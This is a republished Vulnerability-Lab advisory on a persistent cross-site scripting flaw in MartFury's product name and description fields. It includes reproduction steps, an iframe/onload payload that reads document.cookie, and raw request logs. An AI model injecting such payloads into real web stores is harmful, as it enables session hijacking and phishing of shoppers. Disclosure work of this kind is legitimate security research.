Thursday, February 17, 2022

MartFury Marketplace Cross Site Scripting

Document Title:
MartFury Marketplace - Cross Site Scripting Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Martfury is a clean & modern Laravel Ecommerce System for multipurpose online stores. With design clean and trendy, Martfury will make your
online store look more impressive and attractive to viewers. Help increase the high conversion rate to buy products with your customers
so quickly. Designed on the grid system, your site will look sharp on all screens. Mobile optimized design based on user experience, brings
the best shopping experience for your customers.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the official MartFuryonline service web-application.

Affected Product(s):
Product: MartFury - Online Service (Web-Application)

Vulnerability Disclosure Timeline:
2021-08-22: Researcher Notification & Coordination (Security Researcher)
2021-08-23: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2022-02-17: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Restricted Authentication (User Privileges)

User Interaction:
Low User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A persistent cross site scripting web vulnerability has been discovered in the official MartFury online service web-application.
The web vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The vulnerability is located in the products description and name parameters of the create function in the products module (martfury dashboard).
Remote attackers with privileged account access (user to vendor by product) are able to inject own malicious products. After a product is saved
any customer that buys the article executes the malicious inject payload on events like favorite & compare. On the request a confirm information
is displayed on the left top of the application that executes the script code with persistent attack vector. The request method to inject is post
and the attack vector is persistent located on the application-side.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Status Notifcation

Vulnerable Input(s):
[+] Name
[+] Description

Vulnerable Parameter(s):
[+] name
[+] description

Affected Module(s):
[+] Compare
[+] Favorite

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Register an account
2. Move to vendor dashboard
3. Register an account
4. Go to products and create a product
5. Inject payload to name and description
6. Save by submit via post method request
7. Preview the public product
8. Click compare or the favorites button
9. Status displays and executes the malicious script code with persistent attack vector
10. Successful reproduce of the persistent web vulnerability!

Exploitation: Payload
<iframe src=evil.source onload=alert(document.cookie)>

--- PoC Session Logs (POST) (Inject) [Name & Description] ---
Host: martfury.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------312580254331809165411596595054
Content-Length: 4034
Connection: keep-alive
Cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;
botble_cookie_newsletter=1; cookie_for_consent=1; __stripe_sid=0c82eaf7-75c0-41d5-8fa9-ebdfe27637d7fd80f6; __stripe_mid=ce8c5fe9-89ae-44e2-bfc9-9deca5e9b2235ff290
_token=2uQCgRQYHVxjDaqc6dlyPHbaxG0IO0rcDIJgmQRf&name=>"<iframe src=evil.source onload=alert(document.cookie)>&slug=iframe-srca-onloadalertdocumentcookie-1&slug_id=0&model=
BotbleEcommerceModelsProduct&description=>"<iframe src=evil.source onload=aler(document.cookie)>&content=&images=&sale_type=0&sku=&price=0&sale_price=
POST: HTTP/3.0 302 Found
content-type: text/html; charset=UTF-8
set-cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;

--- PoC Session Logs (GET) (Execution) [Favorite & Compare] ---
Host: martfury.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;
botble_cookie_newsletter=1; cookie_for_consent=1; __stripe_sid=0c82eaf7-75c0-41d5-8fa9-ebdfe27637d7fd80f6; __stripe_mid=ce8c5fe9-89ae-44e2-bfc9-9deca5e9b2235ff290
GET: HTTP/3.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-cache, private
set-cookie: botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;


Security Risk:
The security risk of the persistent cross site scripting vulnerability in the online service web-application is estimated as medium.

Credits & Authors:
Vulnerability-Lab [Research Team] -

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™



Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore